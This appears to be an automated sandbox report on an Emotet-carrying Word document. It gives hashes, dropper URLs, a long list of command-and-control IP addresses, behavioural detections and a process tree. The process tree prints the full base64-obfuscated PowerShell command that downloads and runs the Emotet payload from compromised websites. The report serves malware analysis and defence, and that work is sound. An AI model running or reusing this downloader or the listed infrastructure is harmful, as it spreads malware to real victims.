Analysis
- max time kernel
136s - max time network
136s - platform
windows10_x64 - resource
win10 - submitted
23/09/2020, 19:01
Static task
static1
Behavioral task
behavioral1
Sample
RECH_23_09_2020.doc
Resource
win7v200722
General
- Target RECH_23_09_2020.doc
- Size 158KB
- Sample200923-e18eaph8sa
- SHA256 56cbf96af906adc2960627f7308bbccef3283458499dad9a032ec264a6e46644
- MD5 f0fe3ca610393a77ac01151726c13a5d
- SHA1 8521e264f09d1791f704e0f485b800c1d6b38fc2
- SHA512 a9051c32f5a69ac32390f752dd3f669d98681ec569f66bce4367521180cc4c12de14b4d7a7d5b3d9a64261a3164791c5b2f6c129770f5651d862e034893f31e6
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://prestokitchens.com/recurringo/fRe/
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exe.dropper
http://www.djraisor.com/error/w7G3/
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exe.dropper
http://dakarbuzz.net/css/CyKg/
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exe.dropper
https://wildecapitalmgmt.net/wp-content/j6/
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exe.dropper
http://californiaasa.com/californiaasa.com/8t/
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exe.dropper
http://viralbrown.com/e3c0ngfjc/N/
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exe.dropper
http://kharazmischl.com/w/
Extracted
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emotet
-
174.106.122.139:80
-
159.203.116.47:8080
-
173.249.6.108:443
-
104.236.246.93:8080
-
174.45.13.118:80
-
137.59.187.107:8080
-
94.200.114.161:80
-
37.187.72.193:8080
-
67.10.155.92:80
-
121.124.124.40:7080
-
24.43.99.75:80
-
75.139.38.211:80
-
109.74.5.95:8080
-
137.119.36.33:80
-
74.134.41.124:80
-
66.65.136.14:80
-
94.1.108.190:443
-
181.169.235.7:80
-
79.137.83.50:443
-
104.131.44.150:8080
-
121.7.127.163:80
-
96.249.236.156:443
-
120.150.60.189:80
-
134.209.36.254:8080
-
110.145.77.103:80
-
118.83.154.64:443
-
71.72.196.159:80
-
50.91.114.38:80
-
62.75.141.82:80
-
157.245.99.39:8080
-
140.186.212.146:80
-
168.235.67.138:7080
-
104.131.11.150:443
-
78.24.219.147:8080
-
46.105.131.79:8080
-
104.251.33.179:80
-
24.43.32.186:80
-
200.114.213.233:8080
-
153.137.36.142:80
-
85.96.199.93:80
-
94.23.237.171:443
-
5.39.91.110:7080
-
85.152.162.105:80
-
162.241.242.173:8080
-
213.196.135.145:80
-
139.99.158.11:443
-
194.187.133.160:443
-
78.187.156.31:80
-
1.221.254.82:80
-
124.41.215.226:80
-
139.130.242.43:80
-
209.141.54.221:8080
-
87.106.136.232:8080
-
83.169.36.251:8080
-
195.7.12.8:80
-
185.94.252.104:443
-
95.213.236.64:8080
-
42.200.107.142:80
-
203.153.216.189:7080
-
68.188.112.97:80
-
5.196.74.210:8080
-
87.106.139.101:8080
-
104.32.141.43:80
-
94.124.59.22:8080
-
74.219.172.26:80
-
108.46.29.236:80
-
93.147.212.206:80
-
172.104.97.173:8080
-
190.240.194.77:443
-
103.86.49.11:8080
-
74.208.45.104:8080
-
82.80.155.43:80
-
61.19.246.238:443
-
139.162.108.71:8080
-
121.7.31.214:80
-
188.219.31.12:80
-
37.139.21.175:8080
-
181.169.34.190:80
-
219.74.18.66:443
-
123.176.25.234:80
-
216.139.123.119:80
-
79.98.24.39:8080
-
62.30.7.67:443
-
139.162.60.124:8080
-
176.111.60.55:8080
-
91.211.88.52:7080
-
172.91.208.86:80
-
139.59.60.244:8080
-
89.216.122.92:80
-
142.112.10.95:20
-
107.5.122.110:80
-
50.35.17.13:80
-
97.82.79.83:80
-
68.252.26.78:80
-
110.142.236.207:80
-
47.144.21.12:443
-
24.137.76.62:80
-
220.245.198.194:80
-
74.120.55.163:80
-
24.179.13.119:80
-
113.61.66.94:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1860 2996 POWeRsHeLL.exe 73 - Emotet Payload 6 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1308-16-0x0000000000500000-0x0000000000512000-memory.dmp emotet behavioral2/memory/1308-16-0x0000000000500000-0x0000000000512000-memory.dmp emotet behavioral2/memory/1308-17-0x00000000001F0000-0x0000000000200000-memory.dmp emotet behavioral2/memory/1308-17-0x00000000001F0000-0x0000000000200000-memory.dmp emotet behavioral2/memory/1752-20-0x00000000005A0000-0x00000000005B2000-memory.dmp emotet behavioral2/memory/1752-20-0x00000000005A0000-0x00000000005B2000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 14 1860 POWeRsHeLL.exe - Executes dropped EXE 2 IoCs
pid Process 1308 Zc1o6l.exe 1752 KBDMAC.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\dswave\KBDMAC.exe Zc1o6l.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2896 WINWORD.EXE 2896 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1860 POWeRsHeLL.exe 1860 POWeRsHeLL.exe 1860 POWeRsHeLL.exe 1752 KBDMAC.exe 1752 KBDMAC.exe 1752 KBDMAC.exe 1752 KBDMAC.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1860 POWeRsHeLL.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 2896 WINWORD.EXE 2896 WINWORD.EXE 2896 WINWORD.EXE 2896 WINWORD.EXE 2896 WINWORD.EXE 2896 WINWORD.EXE 2896 WINWORD.EXE 2896 WINWORD.EXE 2896 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1860 wrote to memory of 1308 1860 POWeRsHeLL.exe 80 PID 1860 wrote to memory of 1308 1860 POWeRsHeLL.exe 80 PID 1860 wrote to memory of 1308 1860 POWeRsHeLL.exe 80 PID 1308 wrote to memory of 1752 1308 Zc1o6l.exe 82 PID 1308 wrote to memory of 1752 1308 Zc1o6l.exe 82 PID 1308 wrote to memory of 1752 1308 Zc1o6l.exe 82
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RECH_23_09_2020.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2896
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C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exePOWeRsHeLL -ENCOD JABQAGgAYQA5AG4AOABzAD0AKAAnAFEAJwArACcAbAAnACsAKAAnADgAJwArACcAbwBfAGYAaAAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUATgBWADoAVQBzAGUAUgBQAFIATwBGAEkAbABFAFwAVwBnAF8AXwAzAE0ARABcAHYAUABuAHkAMgA0AFYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAHUAUgBJAHQAYABZAGAAcAByAE8AdABvAEMAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAJwArACcAMQAyACwAIAAnACsAJwB0ACcAKQArACgAJwBsAHMAJwArACcAMQAnACkAKwAoACcAMQAnACsAJwAsACAAdAAnACkAKwAnAGwAJwArACcAcwAnACkAOwAkAEwAbgBjADgAYwBsAHkAIAA9ACAAKAAoACcAWgAnACsAJwBjADEAJwApACsAKAAnAG8AJwArACcANgBsACcAKQApADsAJABIAGEAdgBrAGMAYQBkAD0AKAAnAFIAMwAnACsAKAAnADEAbQA2AGwAJwArACcAMgAnACkAKQA7ACQAUABlADEAZQByAG4AMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAEsAJwArACcAYgBRACcAKQArACcAVwBnACcAKwAnAF8AXwAnACsAKAAnADMAbQBkACcAKwAnAEsAYgAnACsAJwBRAFYAcABuACcAKQArACgAJwB5ADIAJwArACcANAAnACkAKwAoACcAdgAnACsAJwBLAGIAJwApACsAJwBRACcAKQAgACAALQBSAGUAUABMAEEAQwBlACAAIAAoACcASwBiACcAKwAnAFEAJwApACwAWwBjAEgAYQByAF0AOQAyACkAKwAkAEwAbgBjADgAYwBsAHkAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABaAHoANgBuAHEAcAAxAD0AKAAnAFMAaQAnACsAKAAnAG4AeQB5ACcAKwAnAGMAaAAnACkAKQA7ACQARQA3ADIAdwBiAGQAYQA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AGUAYgBjAEwAaQBlAE4AVAA7ACQATQBuAHYAbgAyAGMAYgA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACgAJwBwAHIAZQAnACsAJwBzAHQAJwApACsAKAAnAG8AawAnACsAJwBpAHQAYwAnACkAKwAoACcAaABlACcAKwAnAG4AcwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwByACcAKwAnAGUAJwApACsAKAAnAGMAdQByACcAKwAnAHIAJwApACsAJwBpACcAKwAnAG4AJwArACcAZwBvACcAKwAoACcALwAnACsAJwBmAFIAJwApACsAKAAnAGUAJwArACcALwAqAGgAdAB0ACcAKQArACcAcAAnACsAKAAnADoALwAvACcAKwAnAHcAJwArACcAdwB3ACcAKQArACgAJwAuACcAKwAnAGQAagAnACkAKwAoACcAcgAnACsAJwBhAGkAJwApACsAKAAnAHMAbwByAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AZQAnACkAKwAoACcAcgAnACsAJwByAG8AJwApACsAKAAnAHIAJwArACcALwB3ADcARwAnACkAKwAnADMALwAnACsAKAAnACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGQAJwArACcAYQAnACkAKwAnAGsAYQAnACsAJwByACcAKwAoACcAYgB1AHoAegAuACcAKwAnAG4AZQAnACsAJwB0AC8AYwBzACcAKwAnAHMALwAnACsAJwBDAHkASwAnACsAJwBnAC8AJwArACcAKgBoAHQAJwApACsAJwB0AHAAJwArACcAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAHcAaQBsACcAKwAnAGQAJwApACsAKAAnAGUAJwArACcAYwBhACcAKQArACcAcAAnACsAJwBpAHQAJwArACgAJwBhACcAKwAnAGwAbQBnACcAKQArACcAbQB0ACcAKwAoACcALgAnACsAJwBuACcAKwAnAGUAdAAvAHcAJwArACcAcAAtAGMAbwAnACkAKwAoACcAbgB0AGUAbgAnACsAJwB0AC8AJwArACcAagAnACkAKwAnADYAJwArACgAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAnACkAKwAnAC8AJwArACgAJwAvACcAKwAnAGMAYQBsACcAKwAnAGkAZgBvAHIAJwApACsAKAAnAG4AaQBhAGEAcwBhACcAKwAnAC4AYwBvAG0ALwBjAGEAJwArACcAbABpAGYAJwArACcAbwAnACkAKwAnAHIAbgAnACsAKAAnAGkAYQAnACsAJwBhAHMAYQAnACkAKwAnAC4AYwAnACsAJwBvAG0AJwArACgAJwAvACcAKwAnADgAdAAnACkAKwAoACcALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwADoALwAvAHYAJwArACcAaQByACcAKQArACcAYQAnACsAKAAnAGwAJwArACcAYgByAG8AdwAnACsAJwBuAC4AJwArACcAYwBvAG0ALwBlACcAKwAnADMAYwAnACkAKwAnADAAbgAnACsAJwBnACcAKwAnAGYAagAnACsAKAAnAGMAJwArACcALwBOACcAKQArACgAJwAvACoAJwArACcAaAB0AHQAJwArACcAcAA6ACcAKQArACcALwAnACsAKAAnAC8AJwArACcAawBoACcAKQArACgAJwBhAHIAJwArACcAYQB6AG0AaQAnACsAJwBzAGMAaABsAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACcALwB3ACcAKwAnAC8AJwApAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAcQAxADgANAB4AHAAPQAoACcATgAnACsAJwAzAGoAJwArACgAJwB3ACcAKwAnAGsANABtACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASQB5AHoAdgB2ADUAawAgAGkAbgAgACQATQBuAHYAbgAyAGMAYgApAHsAdAByAHkAewAkAEUANwAyAHcAYgBkAGEALgAiAGQATwB3AGAATgBMAE8AYQBkAGYASQBgAGwARQAiACgAJABJAHkAegB2AHYANQBrACwAIAAkAFAAZQAxAGUAcgBuADIAKQA7ACQARwA1ADIAegBhADAAbAA9ACgAJwBIAHAAJwArACgAJwB2ADYAJwArACcAeQBwADcAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUABlADEAZQByAG4AMgApAC4AIgBMAGUATgBnAGAAVABIACIAIAAtAGcAZQAgADMAMQA3ADcANwApACAAewAmACgAJwBJAG4AJwArACcAdgAnACsAJwBvAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABQAGUAMQBlAHIAbgAyACkAOwAkAEcAYwBwAHYANgByAG0APQAoACcAVAA1ACcAKwAnAHoAJwArACgAJwBnAGQAJwArACcANwA3ACcAKQApADsAYgByAGUAYQBrADsAJABSAHAANgBtAHMAcgBsAD0AKAAoACcAVwB3ACcAKwAnAG4AYwB2ACcAKQArACcAcgBkACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBjAGIAMgA5AGQAcAA9ACgAJwBLACcAKwAoACcAcQBrACcAKwAnAGUAeAAnACkAKwAnAHoAaAAnACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1860 -
C:\Users\Admin\Wg__3md\Vpny24v\Zc1o6l.exe"C:\Users\Admin\Wg__3md\Vpny24v\Zc1o6l.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1308 -
C:\Windows\SysWOW64\dswave\KBDMAC.exe"C:\Windows\SysWOW64\dswave\KBDMAC.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1752
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